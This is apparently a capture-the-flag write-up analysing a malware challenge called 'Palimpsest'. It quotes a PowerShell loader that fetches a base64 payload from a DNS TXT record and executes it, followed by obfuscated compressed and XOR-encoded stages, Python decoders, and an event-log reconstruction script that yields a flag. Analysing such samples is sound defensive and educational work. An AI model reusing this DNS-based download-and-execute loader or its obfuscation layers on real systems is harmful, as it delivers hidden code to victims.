2024-10-31 Palimpsest (Malware)

Files downloaded and extracted

-ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Resolve-DnsName 5aa456e4dbed10b.pyrchdata.com -Type txt | Select-Object -ExpandProperty Strings))))"

Dig to get the record and base64 encoded value

First base64 decode

.( $SHElliD[1]+$SHElLid[13]+'X')( neW-oBJECT Io.ComPreSsION.dEflATeStReAm([sySTem.IO.mEMORYsTREAM][sYstEM.cOnveRT]::FROmBAsE64strinG( 'ZVbLatxQDP0VLVpmJtwJ9217mT5oCyWB0l0IJaVZJJAWsiiBtv9e6Ui69rQLG19L1uPoSPL5fv/u7vPx5+3T/cXXj29pd/b47elsdzi/vH28uy4hpZBvjg9X9993u8N+f/36/cXT9c0N7SnlRCHFhQKlOPM9x9CmQDXKi8iy3MLSWSBXTXyFVFitUhCVNLHGRKHMQb8vmS8+JLZbsghgH8/QTImf2gLDKbN262wni5gN6xu54DuLi0JDocmnJBp8mqCQUoe8ScDZzCaJhD33iJBcYekiR65Ns5bQSG56ShDKPcUJejWYVNXEB7kTJNfLxgXBh0UjRw3FvpxD5ngUXvEAjJFdlBrBYZ4UPwdTXBCCw0GBFYGCCUeCKBmkBNAqy5rGlIErnZjXanuxPEAr0X9G+aE2rVNLoksG/FqYWdXIigGHeFEl2tYpWAG7gwwkUqhsQ0pNrUJRYRBaZUhABtbjcNikOOwxiNFWyGupItR6I7ECBWEqDDjYbIA6qoJTkuzwEMRcni1oMVeMT4JFQZSFlJ6V8ZJCml/Lsyh2jBrLxU+bkS/LBeUqpGuOgtyUsOy1G0ywIxlJ2LXoS4FdBIwKAZJ51Eje8auGIi4GzxwU8aZIgilKqiUMSjmPRKC9r+0qoqiZT25DqWBdJLVnlKpzzdqWAApj0/MoBQ0OahsrN1sY7a4sacoFWjlCq+NUlQcVMHMmPTujND+lNXkii7UNUlxzYrpLsqopwEk+Gg9K0yV8pWQPRgCpovPacmSG1mm0lVtYaMt/Aak4PZd5TIYyO2NtPnEXzDYYnchILgYrOEgoGCIsb3f/OmtGqWmFc9T+BLercwmnPCuJqETFjsmutbF4rNKkEPFTKR4U+jIq9DUZGRIGHwsaIKGebTsgQo+kTZCWyd6X4gyK7mZ2cFZMSlQqqmAZbFAVkDebQvLopRfXTBcFTvOKju/qQSJfDViLjBW29sRCow9AmM3OyjZr1slWfNoCq8F6nYcNk59BoTHxZOA1lWKQJxvFRZsv6SzB8knlNAMZRroDED8WwUS2SRedZSQjZcFMItu7Y0+CcjH/C6wDowGf7HbaLnfbmpt20hnpO8hzGsvMoST/evYNNiI4xbcuTrq+dtbYNrIlvNvWwQJQtl24gs52ik1OA922TKfD75f0i/BDJL9DL77Q8dXz1addfG5vdoc/dDg+/PhwyX9NfwE=' ) ,[Io.coMPREssIon.COMPreSSiONMoDE]::dEcompRESs)| forEacH-obJECT {neW-oBJECT sysTEm.IO.STREAMREaDeR( $_ , [TExT.encoDiNG]::asCii ) }| foreACH-OBjECT {$_.REAdToEnd() } )

Decode the encoded value above

Code for above screenshot

import base64
import zlib

encoded_data = """
ZVbLatxQDP0VLVpmJtwJ9217mT5oCyWB0l0IJaVZJJAWsiiBtv9e6Ui69rQLG19L1uPoSPL5fv/u7vPx5+3T/cXXj29pd/b47elsdzi/vH28uy4hpZBvjg9X9993u8N+f/36/cXT9c0N7SnlRCHFhQKlOPM9x9CmQDXKi8iy3MLSWSBXTXyFVFitUhCVNLHGRKHMQb8vmS8+JLZbsghgH8/QTImf2gLDKbN262wni5gN6xu54DuLi0JDocmnJBp8mqCQUoe8ScDZzCaJhD33iJBcYekiR65Ns5bQSG56ShDKPcUJejWYVNXEB7kTJNfLxgXBh0UjRw3FvpxD5ngUXvEAjJFdlBrBYZ4UPwdTXBCCw0GBFYGCCUeCKBmkBNAqy5rGlIErnZjXanuxPEAr0X9G+aE2rVNLoksG/FqYWdXIigGHeFEl2tYpWAG7gwwkUqhsQ0pNrUJRYRBaZUhABtbjcNikOOwxiNFWyGupItR6I7ECBWEqDDjYbIA6qoJTkuzwEMRcni1oMVeMT4JFQZSFlJ6V8ZJCml/Lsyh2jBrLxU+bkS/LBeUqpGuOgtyUsOy1G0ywIxlJ2LXoS4FdBIwKAZJ51Eje8auGIi4GzxwU8aZIgilKqiUMSjmPRKC9r+0qoqiZT25DqWBdJLVnlKpzzdqWAApj0/MoBQ0OahsrN1sY7a4sacoFWjlCq+NUlQcVMHMmPTujND+lNXkii7UNUlxzYrpLsqopwEk+Gg9K0yV8pWQPRgCpovPacmSG1mm0lVtYaMt/Aak4PZd5TIYyO2NtPnEXzDYYnchILgYrOEgoGCIsb3f/OmtGqWmFc9T+BLercwmnPCuJqETFjsmutbF4rNKkEPFTKR4U+jIq9DUZGRIGHwsaIKGebTsgQo+kTZCWyd6X4gyK7mZ2cFZMSlQqqmAZbFAVkDebQvLopRfXTBcFTvOKju/qQSJfDViLjBW29sRCow9AmM3OyjZr1slWfNoCq8F6nYcNk59BoTHxZOA1lWKQJxvFRZsv6SzB8knlNAMZRroDED8WwUS2SRedZSQjZcFMItu7Y0+CcjH/C6wDowGf7HbaLnfbmpt20hnpO8hzGsvMoST/evYNNiI4xbcuTrq+dtbYNrIlvNvWwQJQtl24gs52ik1OA922TKfD75f0i/BDJL9DL77Q8dXz1addfG5vdoc/dDg+/PhwyX9NfwE=
"""

decoded_data = base64.b64decode(encoded_data)

decompressed_data = zlib.decompress(decoded_data, -zlib.MAX_WBITS)

decompressed_text = decompressed_data.decode('ascii', errors='ignore')

print(decompressed_text)

Get more data from decoding

The decoded value from above screenshot

.((GeT-variAbLE '*mdr*').Name[3,11,2]-jOin'')(([CHAr[]] ( 121 ,109 , 108 , 20,57, 40, 100 ,125,96 , 6 , 41, 4,13, 24 ,0, 117,127 ,38,108 , 32, 38,111 ,32 ,38 ,109,32 ,127 ,112 ,59,125,122, 56, 122 ,113,122, 52, 50 ,122, 113 , 122 ,115 ,59 , 52 ,17,122,116 , 125, 102,125,121 , 38 ,60 , 32 , 125, 96,125 , 105,109 ,109, 109,109 ,115 , 115 ,107 , 104,109,109, 109, 102 ,125,121,38 ,63 , 32 , 125 , 96, 125, 125 ,121 , 109, 108,20 ,57, 40 ,100, 103 , 103,117 , 127, 38,108 , 32,38 , 109 ,32,38,111 , 32,127 ,125, 112 , 59,125, 122, 47 ,52 , 122,113, 117 , 127, 38 , 108, 32, 38 , 109, 32 ,127,125, 112 , 59,122 ,45, 56, 51, 10 ,122,113 , 122 ,18,122 , 116 , 113, 122 , 41 , 56 ,122 ,116 ,115 , 20 ,51,43 ,50 , 54 , 56,117 ,117,23 ,50, 52,51,112, 13 , 60,41 ,53 ,125 , 112, 13,60 ,41 ,53 ,125,121,38,24 ,51,11, 103 , 60, 61 , 13 , 61 ,45 , 61,25 ,28, 41 , 60 ,32,125,112 ,30 , 53 , 52, 49, 57, 13,60 , 41 , 53,125, 59,49,60, 58 ,115, 48 , 45,105,116 ,116 ,102,125 ,26 , 56 ,41 , 112,24 ,43, 56 , 51,41 ,17, 50, 58,125, 112,17,50,58 , 19 , 60,48,56 ,125 ,117,127 , 38,109,32,38 , 111 , 32, 38, 108 ,32 ,38, 110,32,127,125 ,112 , 59 , 125,122,28,45, 122, 113,122 , 49,52,62,60 ,41 , 52 , 122, 113 ,122, 45,122 ,113, 122 ,50 ,51, 122 ,116 , 125 ,112 ,14 ,50, 40 , 47 ,62, 56 ,125 ,117 , 127 , 38, 109, 32,38, 111,32 ,38, 108,32, 127 , 112,59 ,122, 48 , 46, 49 ,51,46,41 , 60,49,122 , 113,122 ,56,47, 122,113 ,122, 49 ,122 , 116 ,125,33 ,125 ,98 , 125 , 38,125 , 121 , 38, 28,32 ,125 , 112,62, 50,51,41 , 60 ,52 ,51,46 ,125, 121 , 38,2,32, 115,127 ,20, 51, 61 , 46 ,41 , 61 , 28 , 51, 30, 56 ,61, 52 , 25 , 127,125 , 32, 125 ,33,125 , 14 , 50, 47 ,41,112 , 18 ,63, 55 ,56, 62 , 41, 125, 20, 51, 57 ,56,37, 125, 33, 125,120, 125 ,38, 125 , 121 , 38, 30 ,32 , 125 ,96 , 125 , 121 ,38 , 2,32 , 115 , 127, 57,61 , 28 , 9, 60 , 127,102 ,125 ,121 , 38, 63, 32 , 115 ,117,127,38,108 ,32, 38, 109 ,32,127,112,59,125,122, 52 ,41 ,56 ,122 ,113 , 122,10, 47, 122, 116 , 115,20 , 51 ,43 ,50 ,54 ,56 , 117 ,121, 38 , 30,32,113,125,109,113,125 ,121 , 38 ,30, 32,115 ,127 ,17 , 56, 19 , 61, 26 ,9, 53, 127 ,116 , 125, 32 ,102 , 125 , 121 ,38, 63, 32, 115, 117,127 ,38, 108 , 32, 38 ,109, 32, 127 , 125,112, 59,125 , 117 , 127, 38, 109 ,32 , 38 ,108, 32,127, 125 , 112,59,125,122,49 , 50, 46 ,122 , 113 , 122 ,56,122 , 116, 113 ,122 ,30,122 , 116 ,115,20 , 51, 43, 50, 54 ,56 ,117 ,116 )|% { [CHAr] ( $_ -BxOR'0x5D')} )-joIN'')

Some interesting things while working

See some non normal event ids and data

Decoding the values

encoded_values = [
    121, 109, 108, 20, 57, 40, 100, 125, 96, 6, 41, 4, 13, 24, 0, 117, 127, 38, 108, 32, 38, 111, 32,
    38, 109, 32, 127, 112, 59, 125, 122, 56, 122, 113, 122, 52, 50, 122, 113, 122, 115, 59, 52, 17, 
    122, 116, 125, 102, 125, 121, 38, 60, 32, 125, 96, 125, 105, 109, 109, 109, 109, 115, 115, 107, 
    104, 109, 109, 109, 102, 125, 121, 38, 63, 32, 125, 96, 125, 125, 121, 109, 108, 20, 57, 40, 100,
    103, 103, 117, 127, 38, 108, 32, 38, 109, 32, 38, 111, 32, 127, 125, 112, 59, 125, 122, 47, 52,
    122, 113, 117, 127, 38, 108, 32, 38, 109, 32, 127, 125, 112, 59, 122, 45, 56, 51, 10, 122, 113,
    122, 18, 122, 116, 113, 122, 41, 56, 122, 116, 115, 20, 51, 43, 50, 54, 56, 117, 117, 23, 50, 52,
    51, 112, 13, 60, 41, 53, 125, 112, 13, 60, 41, 53, 125, 121, 38, 24, 51, 11, 103, 60, 61, 13, 61,
    45, 61, 25, 28, 41, 60, 32, 125, 112, 30, 53, 52, 49, 57, 13, 60, 41, 53, 125, 59, 49, 60, 58, 115,
    48, 45, 105, 116, 116, 102, 125, 26, 56, 41, 112, 24, 43, 56, 51, 41, 17, 50, 58, 125, 112, 17, 50,
    58, 19, 60, 48, 56, 125, 117, 127, 38, 109, 32, 38, 111, 32, 38, 108, 32, 38, 110, 32, 127, 125,
    112, 59, 125, 122, 28, 45, 122, 113, 122, 49, 52, 62, 60, 41, 52, 122, 113, 122, 45, 122, 113, 122,
    50, 51, 122, 116, 125, 112, 14, 50, 40, 47, 62, 56, 125, 117, 127, 38, 109, 32, 38, 111, 32, 38,
    108, 32, 127, 112, 59, 122, 48, 46, 49, 51, 46, 41, 60, 49, 122, 113, 122, 56, 47, 122, 113, 122,
    49, 122, 116, 125, 33, 125, 98, 125, 38, 125, 121, 38, 28, 32, 125, 112, 62, 50, 51, 41, 60, 52,
    51, 46, 125, 121, 38, 2, 32, 115, 127, 20, 51, 61, 46, 41, 61, 28, 51, 30, 56, 61, 52, 25, 127,
    125, 32, 125, 33, 125, 14, 50, 47, 41, 112, 18, 63, 55, 56, 62, 41, 125, 20, 51, 57, 56, 37, 125,
    33, 125, 120, 125, 38, 125, 121, 38, 30, 32, 125, 96, 125, 121, 38, 2, 32, 115, 127, 57, 61, 28,
    9, 60, 127, 102, 125, 121, 38, 63, 32, 115, 117, 127, 38, 108, 32, 38, 109, 32, 127, 112, 59, 125,
    122, 52, 41, 56, 122, 113, 122, 10, 47, 122, 116, 115, 20, 51, 43, 50, 54, 56, 117, 121, 38, 30,
    32, 113, 125, 109, 113, 125, 121, 38, 30, 32, 115, 127, 17, 56, 19, 61, 26, 9, 53, 127, 116, 125,
    32, 102, 125, 121, 38, 63, 32, 115, 117, 127, 38, 108, 32, 38, 109, 32, 127, 125, 112, 59, 125,
    117, 127, 38, 109, 32, 38, 108, 32, 127, 125, 112, 59, 125, 122, 49, 50, 46, 122, 113, 122, 56,
    122, 116, 113, 122, 30, 122, 116, 115, 20, 51, 43, 50, 54, 56, 117, 116
]

decoded_string = ''.join([chr(num ^ 0x5D) for num in encoded_values])

decoded_string

Screenshot for above code to decode.

Next string of encoded value from above code. Pair this with the event ID’s in the Application.evtx. Even without cleaning up, you can see the Application.evtx, the child path, and the Source msinstaller.

$01Idu9 =[tYPE]("{1}{2}{0}"-f 'e','io','.fiL') ; ${a} = 40000..65000; ${b} =  $01Idu9::("{1}{0}{2}" -f 'ri',("{1}{0}" -f'penW','O'),'te').Invoke((Join-Path -Path ${EnV:a`P`p`DAta} -ChildPath flag.mp4)); Get-EventLog -LogName ("{0}{2}{1}{3}" -f 'Ap','licati','p','on') -Source ("{0}{2}{1}"-f'mslnstal','er','l') | ? { ${A} -contains ${_}."In`st`AnCe`iD" } | Sort-Object Index | % { ${C} = ${_}."d`ATa"; ${b}.("{1}{0}"-f 'ite','Wr').Invoke(${C}, 0, ${C}."LeN`GTh") }; ${b}.("{1}{0}" -f ("{0}{1}" -f 'los','e'),'C').Invoke()

Edit to execute and run and get the flag.mp4

$01Idu9 = [System.IO.File]; 
${a} = 40000..65000; 
${b} = $01Idu9::OpenWrite((Join-Path -Path ${EnV:APPDATA} -ChildPath "flag.mp4")); 

Get-WinEvent -Path ".\Application.evtx" | 
    ? { $_.ProviderName -eq "Mslnstaller" -and ${a} -contains $_.Id } | 
    Sort-Object RecordId | 
    % { 
        # Extract the binary data from the event's XML
        $xml = [xml]$_.ToXml()
        $binaryData = $xml.Event.EventData.Binary

        if ($binaryData) {
            # Convert the hex string to a byte array
            $bytes = for ($i = 0; $i -lt $binaryData.Length; $i += 2) {
                [byte]::Parse($binaryData.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
            }

            # Write the bytes to the output file
            ${b}.Write($bytes, 0, $bytes.Length)
        }
    }; 

${b}.Close()

Executing

Get the flag

**flag{2b7dff19886372f1z85ca267eb15zabe}**